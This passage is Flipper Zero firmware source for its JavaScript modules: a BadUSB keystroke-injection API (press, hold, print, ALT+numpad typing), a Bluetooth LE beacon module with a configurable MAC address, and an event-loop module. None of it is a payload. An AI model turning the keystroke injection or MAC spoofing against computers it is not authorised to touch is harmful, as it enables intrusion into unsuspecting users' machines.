if(badusb->usb_if_prev == NULL) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
bool args_correct = false;
uint16_t keycode = HID_KEYBOARD_NONE;
size_t num_args = mjs_nargs(mjs);
if(num_args == 0) {
furi_hal_hid_kb_release_all();
badusb->key_hold_cnt = 0;
mjs_return(mjs, MJS_UNDEFINED);
return;
} else {
args_correct = parse_keycode(badusb, mjs, num_args, &keycode);
}
if(!args_correct) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
if((keycode & 0xFF) && (badusb->key_hold_cnt > 0)) {
badusb->key_hold_cnt--;
}
furi_hal_hid_kb_release(keycode);
mjs_return(mjs, MJS_UNDEFINED);
}
// Make sure NUMLOCK is enabled for altchar
static void ducky_numlock_on() {
if((furi_hal_hid_get_led_state() & HID_KB_LED_NUM) == 0) {
furi_hal_hid_kb_press(HID_KEYBOARD_LOCK_NUM_LOCK);
furi_hal_hid_kb_release(HID_KEYBOARD_LOCK_NUM_LOCK);
}
}
// Simulate pressing a character using ALT+Numpad ASCII code
static void ducky_altchar(JsBadusbInst* badusb, const char* ascii_code) {
// Hold the ALT key
furi_hal_hid_kb_press(KEY_MOD_LEFT_ALT);
// Press the corresponding numpad key for each digit of the ASCII code
for(size_t i = 0; ascii_code[i] != '\0'; i++) {
char digitChar[5] = {'N', 'U', 'M', ascii_code[i], '\0'}; // Construct the numpad key name
uint16_t numpad_keycode = get_keycode_by_name(badusb, digitChar, strlen(digitChar));
if(numpad_keycode == HID_KEYBOARD_NONE) {
continue; // Skip if keycode not found
}
furi_hal_hid_kb_press(numpad_keycode);
furi_hal_hid_kb_release(numpad_keycode);
}
// Release the ALT key
furi_hal_hid_kb_release(KEY_MOD_LEFT_ALT);
}
static void badusb_print(struct mjs* mjs, bool ln, bool alt) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
furi_assert(badusb);
if(badusb->usb_if_prev == NULL) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
bool args_correct = false;
const char* text_str = NULL;
size_t text_len = 0;
uint32_t delay_val = 0;
do {
mjs_val_t obj_string = MJS_UNDEFINED;
size_t num_args = mjs_nargs(mjs);
if(num_args == 1) {
obj_string = mjs_arg(mjs, 0);
} else if(num_args == 2) {
obj_string = mjs_arg(mjs, 0);
mjs_val_t obj_delay = mjs_arg(mjs, 1);
if(!mjs_is_number(obj_delay)) {
break;
}
delay_val = (uint32_t)mjs_get_int32(mjs, obj_delay);
if(delay_val > 60000) {
break;
}
}
if(!mjs_is_string(obj_string)) {
break;
}
text_str = mjs_get_string(mjs, &obj_string, &text_len);
if((text_str == NULL) || (text_len == 0)) {
break;
}
args_correct = true;
} while(0);
if(!args_correct) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
if(alt) {
ducky_numlock_on();
}
for(size_t i = 0; i < text_len; i++) {
if(alt) {
// Convert character to ascii numeric value
char ascii_str[4];
snprintf(ascii_str, sizeof(ascii_str), "%u", (uint8_t)text_str[i]);
ducky_altchar(badusb, ascii_str);
} else {
uint16_t keycode = ASCII_TO_KEY(badusb->layout, text_str[i]);
furi_hal_hid_kb_press(keycode);
furi_hal_hid_kb_release(keycode);
}
if(delay_val > 0) {
bool need_exit = js_delay_with_flags(mjs, delay_val);
if(need_exit) {
mjs_return(mjs, MJS_UNDEFINED);
return;
}
}
}
if(ln) {
furi_hal_hid_kb_press(HID_KEYBOARD_RETURN);
furi_hal_hid_kb_release(HID_KEYBOARD_RETURN);
}
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_badusb_print(struct mjs* mjs) {
badusb_print(mjs, false, false);
}
static void js_badusb_println(struct mjs* mjs) {
badusb_print(mjs, true, false);
}
static void js_badusb_alt_print(struct mjs* mjs) {
badusb_print(mjs, false, true);
}
static void js_badusb_alt_println(struct mjs* mjs) {
badusb_print(mjs, true, true);
}
static void* js_badusb_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
UNUSED(modules);
JsBadusbInst* badusb = malloc(sizeof(JsBadusbInst));
mjs_val_t badusb_obj = mjs_mk_object(mjs);
mjs_set(mjs, badusb_obj, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, badusb));
mjs_set(mjs, badusb_obj, "setup", ~0, MJS_MK_FN(js_badusb_setup));
mjs_set(mjs, badusb_obj, "quit", ~0, MJS_MK_FN(js_badusb_quit));
mjs_set(mjs, badusb_obj, "isConnected", ~0, MJS_MK_FN(js_badusb_is_connected));
mjs_set(mjs, badusb_obj, "press", ~0, MJS_MK_FN(js_badusb_press));
mjs_set(mjs, badusb_obj, "hold", ~0, MJS_MK_FN(js_badusb_hold));
mjs_set(mjs, badusb_obj, "release", ~0, MJS_MK_FN(js_badusb_release));
mjs_set(mjs, badusb_obj, "print", ~0, MJS_MK_FN(js_badusb_print));
mjs_set(mjs, badusb_obj, "println", ~0, MJS_MK_FN(js_badusb_println));
mjs_set(mjs, badusb_obj, "altPrint", ~0, MJS_MK_FN(js_badusb_alt_print));
mjs_set(mjs, badusb_obj, "altPrintln", ~0, MJS_MK_FN(js_badusb_alt_println));
*object = badusb_obj;
return badusb;
}
static void js_badusb_destroy(void* inst) {
JsBadusbInst* badusb = inst;
js_badusb_quit_free(badusb);
free(badusb);
}
static const JsModuleDescriptor js_badusb_desc = {
"badusb",
js_badusb_create,
js_badusb_destroy,
NULL,
};
static const FlipperAppPluginDescriptor plugin_descriptor = {
.appid = PLUGIN_APP_ID,
.ep_api_version = PLUGIN_API_VERSION,
.entry_point = &js_badusb_desc,
};
const FlipperAppPluginDescriptor* js_badusb_ep(void) {
return &plugin_descriptor;
}

View File

@@ -1,246 +0,0 @@
#include "../js_modules.h"
#include <furi_hal_bt.h>
#include <extra_beacon.h>
typedef struct {
bool saved_prev_cfg;
bool prev_cfg_set;
GapExtraBeaconConfig prev_cfg;
bool saved_prev_data;
uint8_t prev_data[EXTRA_BEACON_MAX_DATA_SIZE];
uint8_t prev_data_len;
bool saved_prev_active;
bool prev_active;
bool keep_alive;
} JsBlebeaconInst;
static JsBlebeaconInst* get_this_ctx(struct mjs* mjs) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBlebeaconInst* blebeacon = mjs_get_ptr(mjs, obj_inst);
furi_assert(blebeacon);
return blebeacon;
}
static void ret_bad_args(struct mjs* mjs, const char* error) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "%s", error);
mjs_return(mjs, MJS_UNDEFINED);
}
static void ret_int_err(struct mjs* mjs, const char* error) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "%s", error);
mjs_return(mjs, MJS_UNDEFINED);
}
static bool check_arg_count(struct mjs* mjs, size_t count) {
size_t num_args = mjs_nargs(mjs);
if(num_args != count) {
ret_bad_args(mjs, "Wrong argument count");
return false;
}
return true;
}
static void js_blebeacon_is_active(struct mjs* mjs) {
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
if(!check_arg_count(mjs, 0)) return;
UNUSED(blebeacon);
mjs_return(mjs, mjs_mk_boolean(mjs, furi_hal_bt_extra_beacon_is_active()));
}
static void js_blebeacon_set_config(struct mjs* mjs) {
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
if(mjs_nargs(mjs) < 1 || mjs_nargs(mjs) > 4) {
ret_bad_args(mjs, "Wrong argument count");
return;
}
char* mac = NULL;
size_t mac_len = 0;
mjs_val_t mac_arg = mjs_arg(mjs, 0);
if(mjs_is_typed_array(mac_arg)) {
if(mjs_is_data_view(mac_arg)) {
mac_arg = mjs_dataview_get_buf(mjs, mac_arg);
}
mac = mjs_array_buf_get_ptr(mjs, mac_arg, &mac_len);
}
if(!mac || mac_len != EXTRA_BEACON_MAC_ADDR_SIZE) {
ret_bad_args(mjs, "Wrong MAC address");
return;
}
uint8_t power = GapAdvPowerLevel_0dBm;
mjs_val_t power_arg = mjs_arg(mjs, 1);
if(mjs_is_number(power_arg)) {
power = mjs_get_int32(mjs, power_arg);
}
power = CLAMP(power, GapAdvPowerLevel_6dBm, GapAdvPowerLevel_Neg40dBm);
uint8_t intv_min = 50;
mjs_val_t intv_min_arg = mjs_arg(mjs, 2);
if(mjs_is_number(intv_min_arg)) {
intv_min = mjs_get_int32(mjs, intv_min_arg);
}
intv_min = MAX(intv_min, 20);
uint8_t intv_max = 150;
mjs_val_t intv_max_arg = mjs_arg(mjs, 3);
if(mjs_is_number(intv_max_arg)) {
intv_max = mjs_get_int32(mjs, intv_max_arg);
}
intv_max = MAX(intv_max, intv_min);
GapExtraBeaconConfig config = {
.min_adv_interval_ms = intv_min,
.max_adv_interval_ms = intv_max,
.adv_channel_map = GapAdvChannelMapAll,
.adv_power_level = power,
.address_type = GapAddressTypePublic,
};
memcpy(config.address, (uint8_t*)mac, sizeof(config.address));
if(!blebeacon->saved_prev_cfg) {
blebeacon->saved_prev_cfg = true;
const GapExtraBeaconConfig* prev_cfg_ptr = furi_hal_bt_extra_beacon_get_config();
if(prev_cfg_ptr) {
blebeacon->prev_cfg_set = true;
memcpy(&blebeacon->prev_cfg, prev_cfg_ptr, sizeof(blebeacon->prev_cfg));
} else {
blebeacon->prev_cfg_set = false;
}
}
if(!furi_hal_bt_extra_beacon_set_config(&config)) {
ret_int_err(mjs, "Failed setting beacon config");
return;
}
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_blebeacon_set_data(struct mjs* mjs) {
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
if(!check_arg_count(mjs, 1)) return;
char* data = NULL;
size_t data_len = 0;
mjs_val_t data_arg = mjs_arg(mjs, 0);
if(mjs_is_typed_array(data_arg)) {
if(mjs_is_data_view(data_arg)) {
data_arg = mjs_dataview_get_buf(mjs, data_arg);
}
data = mjs_array_buf_get_ptr(mjs, data_arg, &data_len);
}
if(!data) {
ret_bad_args(mjs, "Data must be a Uint8Array");
return;
}
if(!blebeacon->saved_prev_data) {
blebeacon->saved_prev_data = true;
blebeacon->prev_data_len = furi_hal_bt_extra_beacon_get_data(blebeacon->prev_data);
}
if(!furi_hal_bt_extra_beacon_set_data((uint8_t*)data, data_len)) {
ret_int_err(mjs, "Failed setting beacon data");
return;
}
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_blebeacon_start(struct mjs* mjs) {
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
if(!check_arg_count(mjs, 0)) return;
if(!blebeacon->saved_prev_active) {
blebeacon->saved_prev_active = true;
blebeacon->prev_active = furi_hal_bt_extra_beacon_is_active();
}
if(!furi_hal_bt_extra_beacon_start()) {
ret_int_err(mjs, "Failed starting beacon");
return;
}
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_blebeacon_stop(struct mjs* mjs) {
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
if(!check_arg_count(mjs, 0)) return;
UNUSED(blebeacon);
if(!blebeacon->saved_prev_active) {
blebeacon->saved_prev_active = true;
blebeacon->prev_active = furi_hal_bt_extra_beacon_is_active();
}
if(!furi_hal_bt_extra_beacon_stop()) {
ret_int_err(mjs, "Failed stopping beacon");
return;
}
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_blebeacon_keep_alive(struct mjs* mjs) {
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
if(!check_arg_count(mjs, 1)) return;
mjs_val_t bool_obj = mjs_arg(mjs, 0);
blebeacon->keep_alive = mjs_get_bool(mjs, bool_obj);
mjs_return(mjs, MJS_UNDEFINED);
}
static void* js_blebeacon_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
UNUSED(modules);
JsBlebeaconInst* blebeacon = malloc(sizeof(JsBlebeaconInst));
mjs_val_t blebeacon_obj = mjs_mk_object(mjs);
mjs_set(mjs, blebeacon_obj, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, blebeacon));
mjs_set(mjs, blebeacon_obj, "isActive", ~0, MJS_MK_FN(js_blebeacon_is_active));
mjs_set(mjs, blebeacon_obj, "setConfig", ~0, MJS_MK_FN(js_blebeacon_set_config));
mjs_set(mjs, blebeacon_obj, "setData", ~0, MJS_MK_FN(js_blebeacon_set_data));
mjs_set(mjs, blebeacon_obj, "start", ~0, MJS_MK_FN(js_blebeacon_start));
mjs_set(mjs, blebeacon_obj, "stop", ~0, MJS_MK_FN(js_blebeacon_stop));
mjs_set(mjs, blebeacon_obj, "keepAlive", ~0, MJS_MK_FN(js_blebeacon_keep_alive));
*object = blebeacon_obj;
return blebeacon;
}
static void js_blebeacon_destroy(void* inst) {
JsBlebeaconInst* blebeacon = inst;
if(!blebeacon->keep_alive) {
if(furi_hal_bt_extra_beacon_is_active()) {
furi_check(furi_hal_bt_extra_beacon_stop());
}
if(blebeacon->saved_prev_cfg && blebeacon->prev_cfg_set) {
furi_check(furi_hal_bt_extra_beacon_set_config(&blebeacon->prev_cfg));
}
if(blebeacon->saved_prev_data) {
furi_check(
furi_hal_bt_extra_beacon_set_data(blebeacon->prev_data, blebeacon->prev_data_len));
}
if(blebeacon->prev_active) {
furi_check(furi_hal_bt_extra_beacon_start());
}
}
free(blebeacon);
}
static const JsModuleDescriptor js_blebeacon_desc = {
"blebeacon",
js_blebeacon_create,
js_blebeacon_destroy,
NULL,
};
static const FlipperAppPluginDescriptor plugin_descriptor = {
.appid = PLUGIN_APP_ID,
.ep_api_version = PLUGIN_API_VERSION,
.entry_point = &js_blebeacon_desc,
};
const FlipperAppPluginDescriptor* js_blebeacon_ep(void) {
return &plugin_descriptor;
}

View File

@@ -1,458 +0,0 @@
#include "js_event_loop.h"
#include "../../js_modules.h" // IWYU pragma: keep
#include <expansion/expansion.h>
#include <mlib/m-array.h>
/**
* @brief Number of arguments that callbacks receive from this module that they can't modify
*/
#define SYSTEM_ARGS 2
/**
* @brief Context passed to the generic event callback
*/
typedef struct {
FuriEventLoop* event_loop;
JsEventLoopObjectType object_type;
struct mjs* mjs;
mjs_val_t callback;
// NOTE: not using an mlib array because resizing is not needed.
mjs_val_t* arguments;
size_t arity;
JsEventLoopTransformer transformer;
void* transformer_context;
} JsEventLoopCallbackContext;
/**
* @brief Contains data needed to cancel a subscription
*/
typedef struct {
FuriEventLoop* loop;
JsEventLoopObjectType object_type;
FuriEventLoopObject* object;
JsEventLoopCallbackContext* context;
JsEventLoopContract* contract;
void* subscriptions; // SubscriptionArray_t, which we can't reference in this definition
} JsEventLoopSubscription;
ARRAY_DEF(SubscriptionArray, JsEventLoopSubscription*, M_PTR_OPLIST); //-V575
ARRAY_DEF(ContractArray, JsEventLoopContract*, M_PTR_OPLIST); //-V575
/**
* @brief Per-module instance control structure
*/
struct JsEventLoop {
FuriEventLoop* loop;
SubscriptionArray_t subscriptions;
ContractArray_t owned_contracts; //<! Contracts that were produced by this module
};
/**
* @brief Generic event callback, handles all events by calling the JS callbacks
*/
static void js_event_loop_callback_generic(void* param) {
JsEventLoopCallbackContext* context = param;
mjs_val_t result;
mjs_err_t error = mjs_apply(
context->mjs,
&result,
context->callback,
MJS_UNDEFINED,
context->arity,
context->arguments);
bool is_error = strcmp(mjs_strerror(context->mjs, error), "NO_ERROR") != 0;
bool asked_to_stop = js_flags_wait(context->mjs, ThreadEventStop, 0) & ThreadEventStop;
if(is_error || asked_to_stop) {
furi_event_loop_stop(context->event_loop);
}
// save returned args for next call
if(mjs_array_length(context->mjs, result) != context->arity - SYSTEM_ARGS) return;
for(size_t i = 0; i < context->arity - SYSTEM_ARGS; i++) {
mjs_disown(context->mjs, &context->arguments[i + SYSTEM_ARGS]);
context->arguments[i + SYSTEM_ARGS] = mjs_array_get(context->mjs, result, i);
mjs_own(context->mjs, &context->arguments[i + SYSTEM_ARGS]);
}
}
/**
* @brief Handles non-timer events
*/
static void js_event_loop_callback(void* object, void* param) {
JsEventLoopCallbackContext* context = param;
if(context->transformer) {
mjs_disown(context->mjs, &context->arguments[1]);
context->arguments[1] =
context->transformer(context->mjs, object, context->transformer_context);
mjs_own(context->mjs, &context->arguments[1]);
} else {
// default behavior: take semaphores and mutexes
switch(context->object_type) {
case JsEventLoopObjectTypeSemaphore: {
FuriSemaphore* semaphore = object;
furi_check(furi_semaphore_acquire(semaphore, 0) == FuriStatusOk);
} break;
default:
// the corresponding check has been performed when we were given the contract
furi_crash();
}
}
js_event_loop_callback_generic(param);
}
/**
* @brief Cancels an event subscription
*/
static void js_event_loop_subscription_cancel(struct mjs* mjs) {
JsEventLoopSubscription* subscription = JS_GET_CONTEXT(mjs);
if(subscription->object_type == JsEventLoopObjectTypeTimer) {
// timer operations are deferred, which creates lifetime issues
// just stop the timer and let the cleanup routine free everything when the script is done
furi_event_loop_timer_stop(subscription->object);
return;
}
furi_event_loop_unsubscribe(subscription->loop, subscription->object);
free(subscription->context->arguments);
free(subscription->context);
// find and remove ourselves from the array
SubscriptionArray_it_t iterator;
for(SubscriptionArray_it(iterator, subscription->subscriptions);
!SubscriptionArray_end_p(iterator);
SubscriptionArray_next(iterator)) {
JsEventLoopSubscription* item = *SubscriptionArray_cref(iterator);
if(item == subscription) break;
}
SubscriptionArray_remove(subscription->subscriptions, iterator);
free(subscription);
mjs_return(mjs, MJS_UNDEFINED);
}
/**
* @brief Subscribes a JavaScript function to an event
*/
static void js_event_loop_subscribe(struct mjs* mjs) {
JsEventLoop* module = JS_GET_CONTEXT(mjs);
// get arguments
static const JsValueDeclaration js_loop_subscribe_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeRawPointer),
JS_VALUE_SIMPLE(JsValueTypeFunction),
};
static const JsValueArguments js_loop_subscribe_args =
JS_VALUE_ARGS(js_loop_subscribe_arg_list);
JsEventLoopContract* contract;
mjs_val_t callback;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_loop_subscribe_args, &contract, &callback);
// create subscription object
JsEventLoopSubscription* subscription = malloc(sizeof(JsEventLoopSubscription));
JsEventLoopCallbackContext* context = malloc(sizeof(JsEventLoopCallbackContext));
subscription->loop = module->loop;
subscription->object_type = contract->object_type;
subscription->context = context;
subscription->subscriptions = module->subscriptions;
if(contract->object_type == JsEventLoopObjectTypeTimer) subscription->contract = contract;
mjs_val_t subscription_obj = mjs_mk_object(mjs);
mjs_set(mjs, subscription_obj, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, subscription));
mjs_set(mjs, subscription_obj, "cancel", ~0, MJS_MK_FN(js_event_loop_subscription_cancel));
// create callback context
context->event_loop = module->loop;
context->object_type = contract->object_type;
context->arity = mjs_nargs(mjs) - SYSTEM_ARGS + 2;
context->arguments = calloc(context->arity, sizeof(mjs_val_t));
context->arguments[0] = subscription_obj;
context->arguments[1] = MJS_UNDEFINED;
for(size_t i = SYSTEM_ARGS; i < context->arity; i++) {
mjs_val_t arg = mjs_arg(mjs, i - SYSTEM_ARGS + 2);
context->arguments[i] = arg;
mjs_own(mjs, &context->arguments[i]);
}
context->mjs = mjs;
context->callback = callback;
mjs_own(mjs, &context->callback);
mjs_own(mjs, &context->arguments[0]);
mjs_own(mjs, &context->arguments[1]);
// queue and stream contracts must have a transform callback, others are allowed to delegate
// the obvious default behavior to this module
if(contract->object_type == JsEventLoopObjectTypeQueue ||
contract->object_type == JsEventLoopObjectTypeStream) {
furi_check(contract->non_timer.transformer);
}
context->transformer = contract->non_timer.transformer;
context->transformer_context = contract->non_timer.transformer_context;
// subscribe
switch(contract->object_type) {
case JsEventLoopObjectTypeTimer: {
FuriEventLoopTimer* timer = furi_event_loop_timer_alloc(
module->loop, js_event_loop_callback_generic, contract->timer.type, context);
furi_event_loop_timer_start(timer, contract->timer.interval_ticks);
contract->object = timer;
} break;
case JsEventLoopObjectTypeSemaphore:
furi_event_loop_subscribe_semaphore(
module->loop,
contract->object,
contract->non_timer.event,
js_event_loop_callback,
context);
break;
case JsEventLoopObjectTypeQueue:
furi_event_loop_subscribe_message_queue(
module->loop,
contract->object,
contract->non_timer.event,
js_event_loop_callback,
context);
break;
default:
furi_crash("unimplemented");
}
subscription->object = contract->object;
SubscriptionArray_push_back(module->subscriptions, subscription);
mjs_return(mjs, subscription_obj);
}
/**
* @brief Runs the event loop until it is stopped
*/
static void js_event_loop_run(struct mjs* mjs) {
JsEventLoop* module = JS_GET_CONTEXT(mjs);
furi_event_loop_run(module->loop);
}
/**
* @brief Stops a running event loop
*/
static void js_event_loop_stop(struct mjs* mjs) {
JsEventLoop* module = JS_GET_CONTEXT(mjs);
furi_event_loop_stop(module->loop);
}
/**
* @brief Creates a timer event that can be subscribed to just like any other
* event
*/
static void js_event_loop_timer(struct mjs* mjs) {
static const JsValueEnumVariant js_loop_timer_mode_variants[] = {
{"periodic", FuriEventLoopTimerTypePeriodic},
{"oneshot", FuriEventLoopTimerTypeOnce},
};
static const JsValueDeclaration js_loop_timer_arg_list[] = {
JS_VALUE_ENUM(FuriEventLoopTimerType, js_loop_timer_mode_variants),
JS_VALUE_SIMPLE(JsValueTypeInt32),
};
static const JsValueArguments js_loop_timer_args = JS_VALUE_ARGS(js_loop_timer_arg_list);
FuriEventLoopTimerType mode;
int32_t interval;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_loop_timer_args, &mode, &interval);
JsEventLoop* module = JS_GET_CONTEXT(mjs);
// make timer contract
JsEventLoopContract* contract = malloc(sizeof(JsEventLoopContract));
*contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object_type = JsEventLoopObjectTypeTimer,
.object = NULL,
.timer =
{
.interval_ticks = furi_ms_to_ticks((uint32_t)interval),
.type = mode,
},
};
ContractArray_push_back(module->owned_contracts, contract);
mjs_return(mjs, mjs_mk_foreign(mjs, contract));
}
/**
* @brief Queue transformer. Takes `mjs_val_t` pointers out of a queue and
* returns their dereferenced value
*/
static mjs_val_t
js_event_loop_queue_transformer(struct mjs* mjs, FuriEventLoopObject* object, void* context) {
UNUSED(context);
mjs_val_t* message_ptr;
furi_check(furi_message_queue_get(object, &message_ptr, 0) == FuriStatusOk);
mjs_val_t message = *message_ptr;
mjs_disown(mjs, message_ptr);
free(message_ptr);
return message;
}
/**
* @brief Sends a message to a queue
*/
static void js_event_loop_queue_send(struct mjs* mjs) {
// get arguments
static const JsValueDeclaration js_loop_q_send_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeAny),
};
static const JsValueArguments js_loop_q_send_args = JS_VALUE_ARGS(js_loop_q_send_arg_list);
mjs_val_t message;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_loop_q_send_args, &message);
JsEventLoopContract* contract = JS_GET_CONTEXT(mjs);
// send message
mjs_val_t* message_ptr = malloc(sizeof(mjs_val_t));
*message_ptr = message;
mjs_own(mjs, message_ptr);
furi_message_queue_put(contract->object, &message_ptr, 0);
mjs_return(mjs, MJS_UNDEFINED);
}
/**
* @brief Creates a queue
*/
static void js_event_loop_queue(struct mjs* mjs) {
// get arguments
static const JsValueDeclaration js_loop_q_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeInt32),
};
static const JsValueArguments js_loop_q_args = JS_VALUE_ARGS(js_loop_q_arg_list);
int32_t length;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_loop_q_args, &length);
JsEventLoop* module = JS_GET_CONTEXT(mjs);
// make queue contract
JsEventLoopContract* contract = malloc(sizeof(JsEventLoopContract));
*contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object_type = JsEventLoopObjectTypeQueue,
// we could store `mjs_val_t`s in the queue directly if not for mJS' requirement to have consistent pointers to owned values
.object = furi_message_queue_alloc((size_t)length, sizeof(mjs_val_t*)),
.non_timer =
{
.event = FuriEventLoopEventIn,
.transformer = js_event_loop_queue_transformer,
},
};
ContractArray_push_back(module->owned_contracts, contract);
// return object with control methods
mjs_val_t queue = mjs_mk_object(mjs);
mjs_set(mjs, queue, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, contract));
mjs_set(mjs, queue, "input", ~0, mjs_mk_foreign(mjs, contract));
mjs_set(mjs, queue, "send", ~0, MJS_MK_FN(js_event_loop_queue_send));
mjs_return(mjs, queue);
}
static void* js_event_loop_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
UNUSED(modules);
mjs_val_t event_loop_obj = mjs_mk_object(mjs);
JsEventLoop* module = malloc(sizeof(JsEventLoop));
module->loop = furi_event_loop_alloc();
SubscriptionArray_init(module->subscriptions);
ContractArray_init(module->owned_contracts);
JS_ASSIGN_MULTI(mjs, event_loop_obj) {
JS_FIELD(INST_PROP_NAME, mjs_mk_foreign(mjs, module));
JS_FIELD("subscribe", MJS_MK_FN(js_event_loop_subscribe));
JS_FIELD("run", MJS_MK_FN(js_event_loop_run));
JS_FIELD("stop", MJS_MK_FN(js_event_loop_stop));
JS_FIELD("timer", MJS_MK_FN(js_event_loop_timer));
JS_FIELD("queue", MJS_MK_FN(js_event_loop_queue));
}
*object = event_loop_obj;
return module;
}
static void js_event_loop_destroy(void* inst) {
if(inst) {
JsEventLoop* module = inst;
furi_event_loop_stop(module->loop);
// free subscriptions
SubscriptionArray_it_t sub_iterator;
for(SubscriptionArray_it(sub_iterator, module->subscriptions);
!SubscriptionArray_end_p(sub_iterator);
SubscriptionArray_next(sub_iterator)) {
JsEventLoopSubscription* const* sub = SubscriptionArray_cref(sub_iterator);
free((*sub)->context->arguments);
free((*sub)->context);
free(*sub);
}
SubscriptionArray_clear(module->subscriptions);
// free owned contracts
ContractArray_it_t iterator;
for(ContractArray_it(iterator, module->owned_contracts); !ContractArray_end_p(iterator);
ContractArray_next(iterator)) {
// unsubscribe object
JsEventLoopContract* contract = *ContractArray_cref(iterator);
if(contract->object_type == JsEventLoopObjectTypeTimer) {
furi_event_loop_timer_stop(contract->object);
} else {
furi_event_loop_unsubscribe(module->loop, contract->object);
}
// free object
switch(contract->object_type) {
case JsEventLoopObjectTypeTimer:
furi_event_loop_timer_free(contract->object);
break;
case JsEventLoopObjectTypeSemaphore:
furi_semaphore_free(contract->object);
break;
case JsEventLoopObjectTypeQueue:
furi_message_queue_free(contract->object);
break;
default:
furi_crash("unimplemented");
}
free(contract);
}
ContractArray_clear(module->owned_contracts);
furi_event_loop_free(module->loop);
free(module);
}
}
extern const ElfApiInterface js_event_loop_hashtable_api_interface;
static const JsModuleDescriptor js_event_loop_desc = {
"event_loop",
js_event_loop_create,
js_event_loop_destroy,
&js_event_loop_hashtable_api_interface,
};
static const FlipperAppPluginDescriptor plugin_descriptor = {
.appid = PLUGIN_APP_ID,
.ep_api_version = PLUGIN_API_VERSION,
.entry_point = &js_event_loop_desc,
};
const FlipperAppPluginDescriptor* js_event_loop_ep(void) {
return &plugin_descriptor;
}
FuriEventLoop* js_event_loop_get_loop(JsEventLoop* loop) {
// porta: not the proudest function that i ever wrote
furi_check(loop);
return loop->loop;
}

View File

@@ -1,104 +0,0 @@
#include "../../js_modules.h" // IWYU pragma: keep
#include <furi/core/event_loop.h>
#include <furi/core/event_loop_timer.h>
/**
* @file js_event_loop.h
*
* In JS interpreter code, `js_event_loop` always creates and maintains the
* event loop. There are two ways in which other modules can integrate with this
* loop:
* - Via contracts: The user of your module would have to acquire an opaque
* JS value from you and pass it to `js_event_loop`. This is useful for
* events that they user may be interested in. For more info, look at
* `JsEventLoopContract`. Also look at `js_event_loop_get_loop`, which
* you will need to unsubscribe the event loop from your object.
* - Directly: When your module is created, you can acquire an instance of
* `JsEventLoop` which you can use to acquire an instance of
* `FuriEventLoop` that you can manipulate directly, without the JS
* programmer having to pass contracts around. This is useful for
* "behind-the-scenes" events that the user does not need to know about. For
* more info, look at `js_event_loop_get_loop`.
*
* In both cases, your module is responsible for both instantiating,
* unsubscribing and freeing the object that the event loop subscribes to.
*/
#ifdef __cplusplus
extern "C" {
#endif
typedef struct JsEventLoop JsEventLoop;
typedef enum {
JsEventLoopObjectTypeTimer,
JsEventLoopObjectTypeQueue,
JsEventLoopObjectTypeMutex,
JsEventLoopObjectTypeSemaphore,
JsEventLoopObjectTypeStream,
} JsEventLoopObjectType;
typedef mjs_val_t (
*JsEventLoopTransformer)(struct mjs* mjs, FuriEventLoopObject* object, void* context);
typedef struct {
FuriEventLoopEvent event;
JsEventLoopTransformer transformer;
void* transformer_context;
} JsEventLoopNonTimerContract;
typedef struct {
FuriEventLoopTimerType type;
uint32_t interval_ticks;
} JsEventLoopTimerContract;
/**
* @brief Adapter for other JS modules that wish to integrate with the event
* loop JS module
*
* If another module wishes to integrate with `js_event_loop`, it needs to
* implement a function callable from JS that returns an mJS foreign pointer to
* an instance of this structure. This value is then read by `event_loop`'s
* `subscribe` function.
*
* There are two fundamental variants of this structure:
* - `object_type` is `JsEventLoopObjectTypeTimer`: the `timer` field is
* valid, and the `non_timer` field is invalid.
* - `object_type` is something else: the `timer` field is invalid, and the
* `non_timer` field is valid. `non_timer.event` will be passed to
* `furi_event_loop_subscribe`. `non_timer.transformer` will be called to
* transform an object into a JS value (called an item) that's passed to the
* JS callback. This is useful for example to take an item out of a message
* queue and pass it to JS code in a convenient format. If
* `non_timer.transformer` is NULL, the event loop will take semaphores and
* mutexes on its own.
*
* The producer of the contract is responsible for freeing both the contract and
* the object that it points to when the interpreter is torn down.
*/
typedef struct {
JsForeignMagic magic; // <! `JsForeignMagic_JsEventLoopContract`
JsEventLoopObjectType object_type;
FuriEventLoopObject* object;
union {
JsEventLoopNonTimerContract non_timer;
